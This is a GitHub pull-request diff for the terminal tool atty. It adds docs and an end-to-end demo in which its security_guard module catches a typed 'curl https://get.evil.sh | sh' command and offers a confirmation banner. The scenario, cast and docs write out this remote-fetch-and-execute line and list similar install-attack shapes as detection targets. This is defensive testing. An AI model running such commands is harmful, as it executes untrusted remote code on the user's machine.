Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Binary file added docs/assets/atty-security-guard.gif
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
4 changes: 4 additions & 0 deletions docs/modules/atuin.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,10 @@ module_default: false

Fish/zsh-autosuggestion-style ghost text driven by your [Atuin](https://github.com/atuinsh/atuin) history.

![atty ghost-text — a dim suggestion completes the line; Right accepts it]({{ '/assets/atty-ghost.gif' | relative_url }})

> The GIF above is the [`history`]({{ '/modules/history/' | relative_url }}) module (shell-native), shown because the ghost-text UX is identical — `atuin` sources the same suggestions from your Atuin database instead. A dedicated atuin recording needs a seeded DB; tracked in [#546](https://github.com/fentas/atty/issues/546).

* TOC
{:toc}

Expand Down
2 changes: 2 additions & 0 deletions docs/modules/security_guard.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,8 @@ permalink: /modules/security_guard/

# `security_guard` module

![atty security_guard: the in-proc Tier-1 classifier flags a `curl … | sh` remote-fetch-and-execute and arms a [y]/[a]/[t]/[B] banner before it runs — no daemon required]({{ '/assets/atty-security-guard.gif' | relative_url }})

A second module in the guardrail family. Where [`guardrail`]({{ '/modules/' | relative_url }}#minimal-example--upper) matches a comptime list of patterns with a fixed `confirm`/`block`/`warn` behaviour, `security_guard` aims at supply-chain / drive-by-install shapes (`curl … | sh`, `npm install <flagged-pkg>`, `bash -c "<long-b64>"`) and is engineered for opt-in plus a tightening V2 path:

| Layer | What runs |
Expand Down
18 changes: 18 additions & 0 deletions tests/demo/security_guard/config.zig
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
//! atty_demo:security_guard — the in-proc Tier-1 classifier flags a dangerous
//! command before it runs, with NO atty-guard daemon (daemon_socket_path empty
//! → the bundled pattern set runs in-process). NOT a regression test.
const atty = @import("atty");

pub const modules = .{
atty.modules.security_guard.configure(.{
.enabled = true,
// No sidecar in the demo: empty path keeps Tier-1 in-process (explicit
// so the demo is robust if the default ever changes).
.daemon_socket_path = "",
}),
};

pub const statusbar: atty.StatusBar = .{
.enabled = true,
.base_text = "atty",
};
70 changes: 70 additions & 0 deletions tests/demo/security_guard/golden/cast.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
{"version":2,"width":100,"height":14,"timestamp":0,"env":{"TERM":"xterm-256color","SHELL":"/bin/sh"}}
[0.000000, "o", "\u001b[>1u\u001b[2J\u001b[12;1H\u001b[K\u001b[13;1H\u001b[K\u001b[14;1H\u001b[K\u001b[1;11r\u001b[1;1H"]
[0.002000, "o", "\u001b[?2004h"]
[0.002000, "o", "\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b[12;1H\u001b[K\u001b8$ \u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[0.802000, "i", "c"]
[0.802000, "o", "c\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[0.860000, "i", "u"]
[0.860000, "o", "u\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[0.910000, "i", "r"]
[0.910000, "o", "r\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[0.990000, "i", "l"]
[0.990000, "o", "l\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[1.051000, "i", " "]
[1.051000, "o", " \u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[1.167000, "i", "h"]
[1.167000, "o", "h\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[1.218000, "i", "t"]
[1.218000, "o", "t\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[1.290000, "i", "t"]
[1.290000, "o", "t\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[1.366000, "i", "p"]
[1.366000, "o", "p\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[1.436000, "i", "s"]
[1.436000, "o", "s\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[1.481000, "i", ":"]
[1.482000, "o", ":\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[1.625000, "i", "/"]
[1.625000, "o", "/\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[1.743000, "i", "/"]
[1.743000, "o", "/\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[1.880000, "i", "g"]
[1.880000, "o", "g\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[1.938000, "i", "e"]
[1.938000, "o", "e\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[1.988000, "i", "t"]
[1.988000, "o", "t\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[2.029000, "i", "."]
[2.029000, "o", ".\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[2.170000, "i", "e"]
[2.170000, "o", "e\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[2.237000, "i", "v"]
[2.238000, "o", "v\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[2.277000, "i", "i"]
[2.277000, "o", "i\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[2.337000, "i", "l"]
[2.337000, "o", "l\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[2.393000, "i", "."]
[2.393000, "o", ".\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[2.516000, "i", "s"]
[2.517000, "o", "s\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[2.574000, "i", "h"]
[2.574000, "o", "h\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[2.645000, "i", " "]
[2.645000, "o", " \u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[2.786000, "i", "|"]
[2.786000, "o", "|\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[2.858000, "i", " "]
[2.858000, "o", " \u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[2.970000, "i", "s"]
[2.970000, "o", "s\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[3.021000, "i", "h"]
[3.021000, "o", "h\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[3.577000, "i", "\r"]
[3.577000, "o", "\r\n\u001b[2m\u001b[3matty security_guard: remote-fetch-and-execute (`curl … | sh`)\u001b[0m\r\n match: curl https://get.evil.sh | sh\r\n [y]es once · [a]llow always · [t]rust permanently · [B]lock host forever · any other key cancels.\r\n"]
[5.777000, "i", "\u0003"]
[5.777000, "o", "\r\u001b[C\u001b[C\u001b[K\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[7.128000, "i", "exit\r"]
[7.128000, "o", "exit\r\n\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8\u001b[?2004l\r\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[7.128000, "o", "exit\r\n\u001b7\u001b[14;1H\u001b[K\u001b[2matty\u001b[0m\u001b8"]
[7.129000, "o", "\u001b[12;1H\u001b[K\u001b[13;1H\u001b[K\u001b[14;1H\u001b[K\u001b[r\u001b[<u"]
24 changes: 24 additions & 0 deletions tests/demo/security_guard/golden/env.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# atty e2e — recorded environment
atty_version = "0.8.0"
cols = 100
rows = 14

[argv]
0 = "$ATTY"
1 = "bash"
2 = "--norc"
3 = "--noprofile"
4 = "-i"

[forced_env]
PATH = "/usr/local/bin:/usr/bin:/bin:/sbin:/usr/sbin"
TERM = "xterm-256color"
LANG = "C.UTF-8"
LC_ALL = "C.UTF-8"
HOME = "/tmp"
SHELL = "/bin/sh"
USER = "test"
PS1 = "$ "

[extra_env]
ATTY_BIN = ".zig-cache/e2e/security_guard/bin/atty"
20 changes: 20 additions & 0 deletions tests/demo/security_guard/scenario.e2e
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
# atty security_guard — the in-proc Tier-1 classifier catches a remote-fetch-and-
# execute (curl | sh) before it runs and arms a confirmation banner. No daemon.
cols 100
rows 14
timeout_ms 15000

spawn $ATTY bash --norc --noprofile -i
wait_for "$"
sleep 800
type "curl https://get.evil.sh | sh" irregular
sleep 500
key Enter
wait_for "security_guard"
sleep 2200
# Decline — any non-[y/a/t/B] key cancels (clears the readline buffer).
key ^C
wait_stable 250
sleep 1100
type "exit\r"
exit_code 0
Loading